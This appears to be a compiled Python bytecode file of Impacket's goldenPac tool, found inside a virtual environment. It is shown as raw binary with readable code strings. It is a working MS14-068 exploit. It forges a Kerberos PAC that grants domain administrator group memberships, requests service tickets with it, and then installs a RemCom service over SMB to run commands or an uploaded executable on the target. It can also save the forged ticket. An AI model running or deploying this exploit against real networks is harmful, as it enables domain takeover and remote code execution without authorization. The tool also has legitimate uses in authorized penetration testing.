o
    j                     @   s  d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dl	m
Z
 d dlmZmZ d dlmZ d dlmZ d dlmZmZmZmZmZmZmZmZmZmZ d d	lmZmZ d d
l m!Z!m"Z"m#Z# d dl$m%Z%m&Z& d dl'm(Z(m)Z) d dl*m+Z+m,Z,m-Z- d dl.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9 d dl:m;Z; d dl<m=Z= d dl:m>Z>m?Z? d dl@mAZAmBZB d dlCmDZD G dd deDZEG dd deDZFdZGdZHdZIe ZJG dd dZKG dd deZLG dd  d eLZMG d!d" d"eLZNG d#d$ d$ejOZPG d%d& d&eLZQG d'd( d(ZReSd)krd dlTZTd dlUZUzd dlVZVd d*lWmXZX W n eYy@   eZd+ eZd, eU[d- Y nw d dl\Z\d d.l]m^Z^ d d/lm_Z_ d d0l`maZa d d1lmbZb d d2lmcZc d d3ldmeZemfZfmgZg d d4lhmiZi d d5ljmkZkmlZlmmZmmnZn d d6lompZpmqZqmrZrmsZsmtZtmuZumvZvmwZwmxZxmyZymzZzm{Z{m|Z| d d7l}m~Z~ d d8lmZ d d9lmZmZmZmZmZmZmZ d d:lmZmZ d d;lmZ eeaj eTjd<d=d>Zejd?d@dAdB ejdCdDdEdB ejdFdDdGdB ejdHdIdJdKdL ejdMd@dNdOdP ejdQd@dNdRdP ejdSd@dTdUdP ejdVd@dTdWdP edXZejdYd@dZd[dP eeUjd-kr]e  ed\ ed] ed^ ed_ ed` eda edb edc edd eU[d- e Ze;ejej e=ej\ZZZZedekreZdf eU[d- edekredekrejdu rd dglmZ edhZdJejZedJkrdiZeReejeeeejeejejej
Zze  W dS  ey Z ze jejkrd dlZe  eZee W Y dZ[dS dZ[ww dS )j    )division)print_functionN)	unhexlify)ThreadLock)PY3)epm)
MSRPC_UUID_DRSUAPIhDRSDomainControllerInfoDRSBindNTDSAPI_CLIENT_GUIDDRS_EXTENSIONS_INTDRS_EXT_GETCHGREQ_V6DRS_EXT_GETCHGREPLY_V6DRS_EXT_GETCHGREQ_V8DRS_EXT_STRONG_ENCRYPTIONNULLGUID)RPC_SIDMAXIMUM_ALLOWED)hLsarQueryInformationPolicy2POLICY_INFORMATION_CLASShLsarOpenPolicy2)MSRPC_UUID_LSATPOLICY_LOOKUP_NAMES)MSRPC_UUID_NRPChDsrGetDcNameEx)TypeSerialization1RPC_C_AUTHN_LEVEL_PKT_INTEGRITYRPC_C_AUTHN_LEVEL_PKT_PRIVACY)PKERB_VALIDATION_INFOKERB_VALIDATION_INFOKERB_SID_AND_ATTRIBUTESPAC_CLIENT_INFOPAC_SIGNATURE_DATAPAC_INFO_BUFFERPAC_LOGON_INFOPAC_CLIENT_INFO_TYPEPAC_SERVER_CHECKSUMPAC_PRIVSVR_CHECKSUMPACTYPE)logger)parse_target)	remcomsvcserviceinstall)SMBConnectionsmb)	Structurec                   @      e Zd ZdZdS )RemComMessage))Commandz4096s="")
WorkingDir260s="")Priorityz<L=0x20)	ProcessIDz<L=0x01)Machiner5   )NoWait<L=0N__name__
__module____qualname__	structure r@   r@   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/goldenPac.pyr2   G       r2   c                   @   r1   )RemComResponse))	ErrorCoder:   )
ReturnCoder:   Nr;   r@   r@   r@   rA   rC   Q   rB   rC   RemCom_stdoutRemCom_stdinRemCom_stderrc                   @   s$   e Zd Zdd Zdd Zdd ZdS )PSEXECc                 C   s4   || _ || _d | _|| _d | _|| _|| _|| _d S N)_PSEXEC__username_PSEXEC__command_PSEXEC__path_PSEXEC__domain_PSEXEC__exeFile_PSEXEC__copyFile_PSEXEC__TGS_PSEXEC__smbConnection)selfcommandusernamedomainsmbConnectionTGScopyFiler@   r@   rA   __init__^   s   
zPSEXEC.__init__c              
   C   s  t j|d| jd}| }z|  W n ty1 } ztt| t	
d W Y d }~nd }~ww |  az>d}| }|d | jd u rUt| t }n/zt| jd}W n ty{ } ztt| t	
d W Y d }~nd }~ww t| |}|  | jd ur|  | jd ur|| j| tj| j tj| jd | j | _|d}	| ||	d	d
}
t  }t! }d"dd t#dD |d< | j$d ur| j$|d< | j|d< ||d< |%|	|
|&  da't(|dt)|d |d f t*j+t*j,B | j-| }|.  t/|dt0|d |d f t*j1}|.  t2|dt3|d |d f t*j1}|.  |4|	|
d}t5|rUt6|}t7d| j|d |d f  |8  | jd url|9| tj| j d}t	
|d  W d S  t:y     ty } z4t;t| |du r|8  | jd ur|9| tj| j t	j<=  t	
d W Y d }~d S d }~ww )Nz/svcctl)filenamesmb_connection   Fi rb IPC$z\RemCom_communicatoni  c                 S   s   g | ]}t tjqS r@   )randomchoicestringascii_letters).0_r@   r@   rA   
<listcomp>   s    zPSEXEC.run.<locals>.<listcomp>   r8   r4   r3   r7   z\%s%s%d   z6Process %s finished with ErrorCode: %d, ReturnCode: %drD   rE   T)>	transportSMBTransportrR   get_dce_rpcconnect	Exceptionloggingcriticalstrsysexitget_smb_connection
getDialectdialect
setTimeoutrO   r-   ServiceInstallr,   	RemComSvcopeninstallcloserP   	copy_filegetShareospathbasenamerL   connectTreeopenPiper2   getpidjoinrangerM   writeNamedPipegetDataLastDataSentRemoteStdInPipeRemComSTDINr/   FILE_WRITE_DATAFILE_APPEND_DATArQ   startRemoteStdOutPipeRemComSTDOUTFILE_READ_DATARemoteStdErrPipeRemComSTDERRreadNamedPipelenrC   info	uninstall
deleteFile
SystemExitdebugstdoutflush)rS   addrrpctransportdceeunInstalledsinstallServiceftidfid_mainpacketpid
stdin_pipestdout_pipestderr_pipeansretCoder@   r@   rA   runh   s   










z
PSEXEC.runc           	   
   C   s   d}d}|du r@|dkr@z
| || d}W n! ty7 } ztt| |d8 }td W Y d }~nd }~ww |du r@|dks|dkrHtd|j|||dd	d
}|S )NF2   r   Tr]      zPipe not ready, aborting@      creationOptionfileAttributes)waitNamedPipero   printrr   timesleepopenFile)	rS   r   r   pipe
accessMask	pipeReadytriesr   fidr@   r@   rA   r      s$   

zPSEXEC.openPipeN)r<   r=   r>   rZ   r   r   r@   r@   r@   rA   rI   ]   s    
brI   c                   @      e Zd ZdddZdd ZdS )PipesNc                 C   sX   t |  d| _|| _| | _d| _d| _|| _|	 | _
|| _|| _|| _d| _d S )Nr   T)r   rZ   serverrk   get_credentialscredentialsr   r   share	get_dportportr   permissionsrX   daemon)rS   rk   r   r   rX   r   r@   r@   rA   rZ      s   



zPipes.__init__c           	      C   s   zTt   td| j  | jtd| _| j	\}}}}}}}}| j
||||| t   | jd| _| j| j| j | jj| j| j| jddd| _| jd W d S    td| j  Y d S )	N
*SMBSERVER	sess_portpreferredDialectr`   r   r   r   i@B z9Something wen't wrong connecting the pipes(%s), try again)lockacquirer.   rk   ru   getRemoteHostr   rw   r   r   loginreleaser   r   r   r   r   r   r   rx   rp   rq   	__class__	rS   userpasswdrV   lmntaesKeyTGTrX   r@   r@   rA   connectPipe   s   zPipes.connectPipeNN)r<   r=   r>   rZ   r   r@   r@   r@   rA   r      s    
r   c                   @      e Zd Zdd Zdd ZdS )r   c                 C      t | ||| d S rJ   r   rZ   rS   rk   r   permisssionsr@   r@   rA   rZ         zRemoteStdOutPipe.__init__c                 C   sv   |    	 z| j| j| jdd}W n   Y n"z|tkr,tj|	d tj
  ndatdkr4daW n   Y q)NTr      cp437ra   
   )r   r   readFiler   r   r   rs   r   writedecoder   rS   r   r@   r@   rA   r     s"   zRemoteStdOutPipe.runNr<   r=   r>   rZ   r   r@   r@   r@   rA   r          r   c                   @   r   )r   c                 C   r   rJ   r   r   r@   r@   rA   rZ     r   zRemoteStdErrPipe.__init__c                 C   sZ   |    	 z| j| j| jdd}W n   Y nztjt| tj	  W n   Y q)NTr   r   )
r   r   r   r   r   rs   stderrr   rr   r   r   r@   r@   rA   r     s   zRemoteStdErrPipe.runNr   r@   r@   r@   rA   r     r   r   c                   @   s^   e Zd Zdd Zdd Zdd Zdd Zd	d
 Zdd Zdd Z	dd Z
dd ZdddZdS )RemoteShellc                 C   sN   t j| d d| _|| _d | _|| _|| _|| _|| _	|| _
|| _d| _d S )NFz'[!] Press help for extra shell commands)cmdCmdrZ   promptr   transferClientr   r   r   r   r   rX   intro)rS   r   r   r   r   r   rX   r   r@   r@   rA   rZ   -  s   
zRemoteShell.__init__c           	   
   C   sR   t d| j | jtd| _| j\}}}}}}}}| jj||||||| jdd d S )Nr   r   FrX   useCache)	r.   r   r   r   rw   r   r   kerberosLoginrX   r   r@   r@   rA   connect_transferClient:  s
   "z"RemoteShell.connect_transferClientc                 C   s$   t d| j| jf  | dd d S )Na  
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
 ! {cmd}                    - executes a local shell cmd

F)r   r   	send_datarS   liner@   r@   rA   do_help@  s   
zRemoteShell.do_helpc                 C   s   t | | d d S Nr   )r   systemr   )rS   r   r@   r@   rA   do_shellJ  s   
zRemoteShell.do_shellc              
   C   s   z1| j d u r
|   dd l}||}t|d}td| j|f  | j | j||j	 |
  W n tyJ } ztt| W Y d }~nd }~ww | d d S )Nr   wbzDownloading %s\%sr   )r   r   ntpathr   r{   rp   r   r   getFiler   r}   ro   errorrr   r   )rS   src_pathr  r[   fhr   r@   r@   rA   do_getN  s   


zRemoteShell.do_getc           
   
   C   s  zm| j d u r
|   |d}t|dkr|d }|d }nt|dkr*|d }d}tj|}t|d}|d | }|dd}t	
d|| j|f  trY| j | j||j n| j | j|tjj|j |  W n ty }	 zt	t|	 W Y d }	~	nd }	~	ww | d d S )	Nr_   r]   r   /r^   \zUploading %s to %s\%sr   )r   r   splitr   r   r   r   r{   replacerp   r   r   r   putFilereadr   rs   stdinencodingr}   ro   r  rr   r   )
rS   r   paramsr  dst_pathsrc_filer  r   pathnamer   r@   r@   rA   do_put_  s2   



zRemoteShell.do_putc              
   C   sf   |dkrt t  n!zt| W n ty+ } ztt| W Y d }~nd }~ww | d d S )Nra   r   )	r   r   getcwdchdirro   rp   r  rr   r   )rS   r   r   r@   r@   rA   do_lcd|  s   zRemoteShell.do_lcdc                 C   s   |  d d S r   )r   )rS   r@   r@   rA   	emptyline  s   
zRemoteShell.emptylinec                 C   s>   t r| |dd  d S | |tjjdd  d S )Nr   s   
r   )r   r   encoder   rs   r  r  r   r@   r@   rA   default  s   "zRemoteShell.defaultTc                 C   s*   |du r|a nda | j| j| j| d S )NTra   )r   r   	writeFiler   r   )rS   data
hideOutputr@   r@   rA   r     s   zRemoteShell.send_dataN)T)r<   r=   r>   rZ   r   r   r   r  r  r  r  r  r   r@   r@   r@   rA   r   ,  s    

r   c                   @   r   )r   Nc                 C   s   t | ||||| d S rJ   r   )rS   rk   r   r   rX   r   r@   r@   rA   rZ     s   zRemoteStdInPipe.__init__c                 C   s6   |    t| j| j| j| j| j| j| j}|	  d S rJ   )
r   r   r   r   r   r   r   rX   r   cmdloop)rS   shellr@   r@   rA   r     s   "zRemoteStdInPipe.runr   r   r@   r@   r@   rA   r     s    
r   c                   @   sf   e Zd ZdZdZdZG dd deZ		ddd	Zd
d Z	dd Z
dd Zdd Zdd Zdd ZdS )MS14_068r]   r      c                   @   s   e Zd ZdeffZdS )zMS14_068.VALIDATION_INFODataN)r<   r=   r>   r   r?   r@   r@   r@   rA   VALIDATION_INFO  s    r#  Nra   c                 C   s   || _ || _|| _d| _d| _d| _|| _|| _d | _|| _	|| _
|	| _d| _d | _t | _|
| _|d urL|d\| _| _t| j| _t| j| _d S d S )Nr   ra   :)_MS14_068__username_MS14_068__password_MS14_068__domain_MS14_068__rid_MS14_068__lmhash_MS14_068__nthash_MS14_068__target_MS14_068__targetIp_MS14_068__kdcHost_MS14_068__copyFile_MS14_068__command_MS14_068__writeTGT_MS14_068__domainSid_MS14_068__forestSidlist_MS14_068__domainControllersr
  r   )rS   targettargetIprU   passwordrV   hashesrT   rY   writeTGTkdcHostr@   r@   rA   rZ     s*   zMS14_068.__init__c           %      C   s  t tt|d}t|}t }|d@ |d d< |d? |d d< d|d d< d|d d< d|d	 d< d|d	 d< d
|d d< d
|d d< d
|d d< d
|d d< d|d d< d|d d< | j|d< d|d< d|d< d|d< d|d< d|d< d
|d< d
|d< | j|d< d|d< d}t||d< |D ]}t	 }t
 }||d< ||d< ttB tB |d< |d | qd
|d < d!|d"< d|d#< | j|d$< | j|d%< d&|d'< ttB |d(< d
|d)< d
|d* d< d
|d* d< d
|d+ d< d
|d+ d< d
|d,< d
|d-< | jd urd.| jd/f f}	t|	|d0< |d   dO  < nd1}	t|	|d0< |	D ]!}
t }t }||
 ||d2< ttB tB |d< |d3 | qt|d4< d
|d5< t|d6< |  }||d< t jtjkrhtd7 |  td8 |  |!  }d9t|d: d; d; t|  }t" }||d<< z| j#d=}W n t$y   d
d l%}| j&|' #d=}Y nw t||d>< ||d?< |  }d9t|d: d; d; t|  }t( }| j)|d@< d!|dA< |  }d9t|d: d; d; t|  }t( }| j)|d@< d!|dA< |  }d9t|d: d; d; t|  }d;tt*   dB  }t* }t+|dC< t||dD< ||dE< ||dD  d: d; d; }t* }t,|dC< t||dD< ||dE< ||dD  d: d; d; }t* }t-|dC< t||dD< ||dE< ||dD  d: d; d; }t* }t.|dC< t||dD< ||dE< |  |   |   |   | | |   | } |  | |   | }!t/ }"dB|"dF< d
|"dG< | |! |"dH< |"  }#t01|#2 |dA< t01|dA 2 |dA< |  | |   | }!| |! |"dH< t3 }$t4|$d
< t5t6j7j8j9|$d
 dI< |"  |$d
 dJ< t:#|$S )KNz%Y%m%d%H%M%SZl    	LogonTimedwLowDateTime    dwHighDateTime
LogoffTimeiKickOffTimer   PasswordLastSetPasswordCanChangePasswordMustChangeEffectiveNamera   FullNameLogonScriptProfilePathHomeDirectoryHomeDirectoryDrive
LogonCountBadPasswordCountUserId  PrimaryGroupId)rM  i   i  i  i  
GroupCountr"  
RelativeId
AttributesGroupIds	UserFlagss                   UserSessionKeyLogonServerLogonDomainNameLogonDomainIds           LMKeyUserAccountControlSubAuthStatusLastSuccessfulILogonLastFailedILogonFailedILogonCount	Reserved3z%s-%s519SidCountr@   Sid	ExtraSidsResourceGroupDomainSidResourceGroupCountResourceGroupIdsr#  
    r!  rj   ClientIdzutf-16le
NameLengthNameSignatureType	Signatureri   ulTypecbBufferSizeOffsetcBuffersVersionBuffersad-typead-data);timegmstrptimerr   r/   	POSIXtoFTr    r%  r(  r   GROUP_MEMBERSHIPNDRULONGSE_GROUP_MANDATORYSE_GROUP_ENABLED_BY_DEFAULTSE_GROUP_ENABLEDappendr'  r1  USER_NORMAL_ACCOUNTUSER_DONT_EXPIRE_PASSWORDr2  r!   r   fromCanonicalNULLr#  rp   	getLoggerlevelDEBUGr   dumpr   r   getDataReferentsr"   r  UnicodeDecodeErrorrs   r   getfilesystemencodingr#   RSA_MD5r$   r%   r&   r'   r(   r)   MD5newdigestAuthorizationDatanoValueint	constantsAuthorizationDataTypeAD_WIN2K_PACvalueencoder)%rS   authTimeaTimeunixTimekerbdatagroupsgroupgroupMembershipgroupId	extraSidsextraSid	sidRecordsidvalidationInfovalidationInfoBlobvalidationInfoAlignmentpacClientInfonamers   pacClientInfoBlobpacClientInfoAlignmentserverChecksumserverChecksumBlobserverChecksumAlignmentprivSvrChecksumprivSvrChecksumBlobprivSvrChecksumAlignment
offsetDatavalidationInfoIBpacClientInfoIBserverChecksumIBprivSvrChecksumIBbuffersbuffersTailpacTypeblobToChecksumauthorizationDatar@   r@   rA   getGoldenPAC  s  







  
 
 
zMS14_068.getGoldenPACc           !      C   sr  |  |}tj|t dd }	t }
|
|	d  t }t|d< tt	j
jj|d d< ||d d< t|}||d|d }t }t|d}t }|t	jjj |t	jjj |t	jjj t	||d< t|d	|j |	d
  |d< tjtjjtjdd }t ||d< t!" #d|d< t$|d|j%f t|d< t|j%|d d< ||d d< t& }d|d< tt	j'j&j|d< t }t	||d< t|d|
j  t( }d|d< |	d
  |d
< t) }||	d
d t|d|j tjtjj}|j*|d< t ||d< t|}||d|d }t|d< |j%|d d< ||d d< t|}d|d< tt	j'jj|d< t|d< t|d d< tt	j+j,j|d d d< ||d d d < t- }d!|d"< t|}t|d d< tt	j+j.j|d d d< ||d d d < t|}t/|||}tj|t0 dd }|d# d }|1|d$|}tj|t2 dd }t3|j%|d% d& 4 } |||| fS )'Nasn1Specr   ticketrs  rt  ri   zreq-bodyzkdc-optionssnamecrealmrealmr]   )daystill   nonceetypezenc-authorization-datacipher   pvnozmsg-typez
ap-optionszauthenticator-vnocnamecusecctimer!  authenticatorpadatapadata-typepadata-valueFzinclude-pacenc-partrj   keykeyvalue)5r  decoderr   AS_REPTicket	from_asn1AD_IF_RELEVANTr  r  r  r  r  r  r  encryptTGS_REQseq_setr3  r}  
KDCOptionsforwardable	renewable	proxiableencodeFlagscomponents_to_asn1prettyPrintdatetimenowtimezoneutc	timedeltaKerberosTimeto_asn1rb   SystemRandomgetrandbitsseq_set_iterenctypeAP_REQApplicationTagNumbersAuthenticator	PrincipalmicrosecondPreAuthenticationDataTypes
PA_TGS_REQKERB_PA_PAC_REQUESTPA_PAC_REQUESTsendReceiveTGS_REPdecryptEncTGSRepPartKeyasOctets)!rS   
serverNamerV   r:  tgtr  
sessionKeyr  	goldenPAC
decodedTGTr  
ifRelevantencodedIfRelevantencryptedEncodedIfRelevanttgsReqreqBodyoptsr  apReqr  
clientNameencodedAuthenticatorencryptedEncodedAuthenticatorencodedApReq
pacRequestencodedPacRequestmessagertgs
cipherText	plainTextencTGSRepPartnewSessionKeyr@   r@   rA   getKerberosTGS  s   







zMS14_068.getKerberosTGSc                 C   sH  t d d| j }t|}t|dr"|| j| j| j	| j
| j | }|  |t t|ttttd}|d d d d }t d|  |  t d	 d
| }t|}t|drn|| j| j| j	| j
| j | }|  |t t|ttB }|d }t||tj}|  |d d d  }t d|  |S )NzCalling NRPC DsrGetDcNameEx()zncacn_np:%s[\pipe\netlogon]set_credentialsr   DomainControllerInfoDnsForestNamezDNS Forest name is %sz+Calling LSAT hLsarQueryInformationPolicy2()zncacn_np:%s[\pipe\lsarpc]PolicyHandlePolicyInformationPolicyAccountDomainInfo	DomainSidzForest SID: %s)rp   r   r-  rk   DCERPCTransportFactoryhasattrr  r%  r&  r'  r)  r*  rm   rn   bindr   r   r  
disconnectr   r   r   r   r   r   PolicyAccountDomainInformationformatCanonicalr   )rS   stringBindingr   r   resp
forestNamepolicyHandle	forestSidr@   r@   rA   getForestSid  s6   








zMS14_068.getForestSidc           
      C   s|  t d tj| jtdd}t|}t|dr&|	| j
| j| j| j| j | }|t |t |  |t t }t|d< t }t||d< ttB tB tB |d< t|d< d	|d
< d	|d< d	|d< t|d< d|d< t| |d d< t| |d d< ||}t ||d | jd}|!  t }|d d d D ]}	t d|	d d d   |"|	d d d  q|S )Nz!Calling DRSDomainControllerInfo()ncacn_ip_tcp)protocolr  puuidClientDsacbdwFlagsSiteObjGuidr   PiddwReplEpoch
dwFlagsExtConfigObjGUID   	dwExtCaps
pextClientrgbphDrsr]   pmsgOutV1rItemszFound domain controller %sDnsHostNamer  )#rp   r   r   hept_mapr'  r	   rk   r  r  r  r%  r&  r)  r*  rm   set_auth_levelr   r   rn   r  r   r   r   r   r   r   r   r   r   r   r3  requestr
   r  r}  )
rS   r"  r   r   r=  drsr#  dcsdomainControllersdcr@   r@   rA   getDomainControllersG  s>   






zMS14_068.getDomainControllersc           	      C   s   d| j  }t|}t|dr|| j| j| j| j| j	 |
 }|  |tj t|}|d }t||| j}|d }tj|||d}|d }t||| jf}|d d d	 d
 }td| |f  ||fS )Nzncacn_np:%s[\pipe\samr]r  ServerHandleDomainId)domainIdDomainHandleRelativeIdsElementr   r"  zUser SID: %s-%s)r-  rk   r  r  r  r%  r&  r'  r)  r*  rm   rn   r  samrMSRPC_UUID_SAMRhSamrConnecthSamrLookupDomainInSamServerhSamrOpenDomainhSamrLookupNamesInDomainrp   r   r!  )	rS   r"  r   r   r#  serverHandlerE  domainHandleridr@   r@   rA   
getUserSIDp  s"   



zMS14_068.getUserSIDc                  C   s  | j d u rd}| j| _ nd}|  \| _| _z|  | _W n ty; } zt	dt
|  d | _W Y d }~nd }~ww |du rH| j| j  n|  | _t| jtjjjd}| jD ]}td|  || _ d }	 zt|| j| j| j| jd | j dd\}}}}	W nO ty } zC| tjjjkr| jdkr| jdkrdd	lm}
m} |
| j| _|| j| _W Y d }~qit
|}W Y d }~n$t
|}W Y d }~nd }~ww t j!|t" d
d }d}|d r	|d D ]"}|d tj#j$jkrt j!|d dd  t% d
d }|d & }q|d d }| jdkrt'|j(| j}n|)| j|d }|*|d|}t j!|t+ d
d }|d }td| j,  tjjjd}| -|t.| j |||	|\}}}}	td| j/ tjj0jd}zt-|t.| j |||	\}}}}W nR ty } zE| tjjjkr| jdkr| jdkrdd	lm}
m} |
| j| _|| j| _nt
|}W Y d }~n3t
|}W Y d }~n)W Y d }~n"d }~ww | j1d urddl2m3} | }|4|||	 |5| j1 nqj|d u rtd|   n
td||f  qZ|d u rWi }||d< ||d< ||d< ||d< ddl6m7} | j8d u r'|d| j/}n|d| j8}|j9| j| j| j| j| j|dd | j:dkrYt;| j:t<t.||| j=}|>| j/ d S d S d S ) NTFz)Couldn't get forest info (%s), continuing)typezAttacking domain controller %s)
requestPACra   r   )compute_lmhashcompute_nthashr  r  r  r  r   saltr  r     authtimez	krbtgt/%szcifs/%s)CCachez%s found vulnerable!z%s seems not vulnerable (%s)KDC_REPoldSessionKeyr  )r.   r   r   None)?r-  r'  rR  r1  r(  r'  r2  ro   rp   r  rr   r4  r}  rB  r  r%  r  PrincipalNameTypeNT_PRINCIPALr  r   getKerberosTGTr&  r)  r*  KerberosErrorgetErrorCode
ErrorCodesKDC_ERR_ETYPE_NOSUPPimpacket.ntlmrU  rV  r  r   r  r  PA_ETYPE_INFO2ETYPE_INFO2_ENTRYr  r  r  string_to_keyr  EncASRepPartupperr  rV   r+  NT_SRV_INSTr0  impacket.krb5.ccacherZ  fromTGSsaveFileimpacket.smbconnectionr.   r,  r   r/  rI   rU   r.  r   ) rS   getDCsr   userNamerA  	exceptionr  r  r\  r  rU  rV  asReprW  paetype2r  r  r  encASRepPartr  r  r  tgsCIFSoldSessionKeyCIFSsessionKeyCIFSrZ  ccacherX   r.   r   executerr@   r@   rA   exploit  s   




 
T
zMS14_068.exploit)	Nra   ra   ra   Nra   NNN)r<   r=   r>   CRC_32RSA_MD4r  r   r#  rZ   r  r  r'  rB  rR  r|  r@   r@   r@   rA   r     s    
 fq+)r   __main__)r  z"This module needs pyasn1 installedz7You can get it from https://pypi.python.org/pypi/pyasn1r]   )ru  )rv  )version)rI  )rk   )r  r  r  )r  )r  r`  r  ra  )r  r  r  r  r  ri  r  r  r  r  r  r  rg  )r  )ry  )r  rx  rz  r{  r|  r~  r  )r  r  )r  TzgMS14-068 Exploit. It establishes a SMBConnection and PSEXEcs the target or saves the TGT for later use.)add_helpdescriptionr5  storez+[[domain/]username[:password]@]<targetName>)actionhelpz-ts
store_truez&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONrT   *r_   zcommand (or arguments if -c is used) to execute at the target (w/o path). Defaults to cmd.exe. 'None' will not execute PSEXEC (handy if you just want to save the ticket))nargsr  r  z-cr  zTuploads the filename for later execution, arguments are passed in the command option)r  metavarr  z-wzBwrites the golden ticket in CCache format into the <pathname> filez-dc-ipz
ip addresszIP Address of the domain controller (needed to get the users SID). If omitted it will use the domain part (FQDN) specified in the target parameterz
-target-ipzaIP Address of the target host you want to attack. If omitted it will use the targetName parameterauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz
Examples: z4	python goldenPac domain.net/normaluser@domain-host
z 	the password will be asked, or
z=	python goldenPac.py domain.net/normaluser:mypwd@domain-host
z=	if domain.net and/or domain-machine do not resolve, add themzU	to the hosts file or explicitly specify the domain IP (e.g. 1.1.1.1) and target IP:
z_	python goldenPac.py -dc-ip 1.1.1.1 -target-ip 2.2.2.2 domain.net/normaluser:mypwd@domain-host
zR	This will upload the xxx.exe file and execute it as: xxx.exe param1 param2 paramnz]	python goldenPac.py -c xxx.exe domain.net/normaluser:mypwd@domain-host param1 param2 paramn
ra   zDomain should be specified!)getpassz	Password:zcmd.exe)
__future__r   r   r   rp   r   rb   rd   r   binasciir   	threadingr   r   sixr   impacket.dcerpc.v5r   impacket.dcerpc.v5.drsuapir	   r
   r   r   r   r   r   r   r   r   impacket.dcerpc.v5.dtypesr   r   impacket.dcerpc.v5.lsadr   r   r   impacket.dcerpc.v5.lsatr   r   impacket.dcerpc.v5.nrpcr   r   impacket.dcerpc.v5.rpcrtr   r   r   impacket.krb5.pacr   r    r!   r"   r#   r$   r%   r&   r'   r(   r)   impacket.examplesr*   impacket.examples.utilsr+   r,   r-   ro  r.   r/   impacket.structurer0   r2   rC   r   r   r   r   rI   r   r   r   r   r   r   r   r<   argparsers   pyasn1pyasn1.type.univr  ImportErrorrq   rt   r  calendarru  rv  impacketr  rI  rk   impacket.krb5.typesr  r  r  impacket.krb5r  impacket.krb5.kerberosv5r  r`  r  ra  impacket.krb5.asn1r  r  r  r  r  ri  r  r  r  r  r  r  rg  impacket.krb5.cryptor  impacket.dcerpc.v5.ndrry  impacket.dcerpc.v5.samrr  rx  rz  r{  r|  r~  r  pyasn1.codec.derr  r  Cryptodome.Hashr  r   BANNERArgumentParserparseradd_argumentadd_argument_groupr  r   argv
print_help
parse_argsoptionsinittsr   r5  rV   rU   r7  addressr8  r  r   rT   commands	target_ipcwdc_ipdumperr|  ro   r   r  r  r  	traceback	print_excrr   r@   r@   r@   rA   <module>   s  $04
 !m
    
q

<$










 
